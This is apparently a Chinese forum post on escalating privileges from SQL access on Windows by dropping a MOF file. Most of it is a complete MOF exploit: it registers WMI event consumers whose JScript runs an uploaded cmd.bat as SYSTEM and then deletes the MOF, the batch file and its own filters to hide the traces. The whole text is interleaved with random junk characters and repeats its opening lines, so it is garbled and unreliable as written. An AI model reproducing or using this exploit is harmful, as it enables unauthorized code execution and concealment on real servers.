这个sql提权MOF需要运行 system下的文件,不能定义路径。; j- A' I% x# K% P# j
需要将要运行的命令写入到bat上传到system32目录,然后执行。8 ]: X7 b+ B$ {9 b; B2 W, P
9 b& j1 f% q$ H* B9 V. z% B* c! F( A
这个sql提权MOF需要运行 system下的文件,不能定义路径。
5 m3 ~/ V7 V+ m* K ^! K4 i需要将要运行的命令写入到bat上传到system32目录,然后执行。1 B; j4 V, x/ k, U
4 y4 c4 ]3 @$ p B0 C$ c3 `- P) [#pragma8 j- A, Y9 T7 h2 e
namespace("\\\\.\\root\\cimv2")
+ a) s8 N- E* m- F6 V class) @' r6 n! W) L- q
MyClass5472 G. p; y! t* u2 j5 p* d# _) a& v
{ [key] w! v$ C1 l: R- `- f1 y
string
+ p! O+ `. H2 F s8 Q Name;" I; X9 b! p2 g) @
};4 t, n4 X9 P( U. ~- b& X* R7 l$ f
class- s, P/ ? `: Y; c& P) w
ActiveScriptEventConsumer
& n @4 m# w; e4 e, K : __EventConsumer { [key]
" w# v2 q6 U) @9 O1 a( U; ^ string
+ U* C9 K ?2 v2 ~' ? Name; [not_null]
3 ]7 h- o. h8 Q3 } string0 {9 x n; _0 {6 V
ScriptingEngine; string
$ _5 i1 r+ y1 R/ o& X$ C ScriptFileName; [template]- A4 B, Y6 H# m% B
string
; s/ J6 B7 C5 g3 s' { ScriptText; uint32 KillTimeout;% u" h) U& h; m1 c
}; instance of __Win32Provider as $P {
; W# ]/ U3 \& c) J5 h Name
3 b& J0 ]- F- I! L4 }; t; O =
2 u$ S. c+ s! I: ^ "ActiveScriptEventConsumer"; CLSID =
8 P* H+ ?% q+ I1 X8 b "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
, L9 J& h) U* [0 z0 d PerUserInitialization
/ v U, H8 L1 W3 a& ~ = TRUE;
a6 t! b- Z' i! t" q }; instance of __EventConsumerProviderRegistration { Provider
; c/ g2 U5 F" }0 X9 e$ Z% x: F = $P; ConsumerClassNames
0 c7 u3 P, N4 {- n6 \4 ?8 d =
' E/ u5 ~2 J1 m& t5 j4 m3 C1 Z7 S6 s {"ActiveScriptEventConsumer"};
. R# z J- r9 _& h };4 f4 v2 C: }$ Q( }
Instance of ActiveScriptEventConsumer+ p2 r. ?/ b( |' l
as $cons { Name: f9 g7 b, Q7 I, U9 v
=
& ?% r l, M7 k3 L, A6 C "ASEC"; ScriptingEngine
8 |0 U! P% P; a; X; m% a& v; L =
* @7 I# X# K6 M2 J/ r "JScript"; ScriptText
3 c' r" y, y. F) |' e1 F =
* |$ ]8 C: q6 { "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };, H5 ?) S6 u6 l. Y" B- c+ c6 \
Instance of ActiveScriptEventConsumer# y1 I& f; k; V4 y" q
as $cons2 { Name
# l9 ]" D Q P9 o0 v8 y =( \& H5 H F$ H
"qndASEC"; ScriptingEngine. A! {$ ?. X, @! \4 u ]" J" |1 p2 y
=+ h& q8 O( N$ i/ F% f0 r4 v
"JScript"; ScriptText: c0 u0 M5 I/ z
=5 q" }& k$ ^8 ]$ K+ C1 B
"\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
* [; z. [: E. I( y0 j5 d1 x4 P7 Q }; instance of __EventFilter as $Filt { Name# S( v' E$ v, J& u# r
=) x, ^/ C3 c9 j+ {8 m, l
"instfilt"; Query
, Y5 E4 y- X% k =4 l# `" {9 a# y$ O! y( }8 g/ A! `
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
$ R: F) u0 [6 N% c, O =1 p& V; I* k- j8 U9 G
"WQL"; }; instance of __EventFilter as $Filt2 { Name6 W) O% U3 @" d8 G% U$ a- R. m" C( z
=6 k( r$ ~5 \1 f" r+ r9 a: s; J
"qndfilt"; Query4 m" X7 F4 K& H' G e$ o! x/ K3 z: s( A
=! L/ q! O" b9 [. n8 Y0 ?
"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage
1 G' n( M! b: h( ~ =
# Z4 c* h: R' q "WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer. i4 T( E% N, P2 O* Z* A
= $cons; Filter
5 { d5 x4 U+ Y- [" B/ C+ G = $Filt;; J! c* j/ i- i* ^" K
}; instance of __FilterToConsumerBinding as $bind2 { Consumer
) e& {9 h! q5 `3 ~4 N! e }- L: c = $cons2; Filter; c7 k! A& C7 b, A# x
= $Filt2;
- O _6 J/ u. k9 E& q& } }; instance of MyClass547
8 U7 H' D* v9 {* s, j- q as $MyClass { Name
( ~7 C$ d5 {: u5 u& W! B4 I =
& z% C) x/ u# i/ l4 a "ClassConsumer";
; R9 B/ X8 q- ?) c S1 F a }; |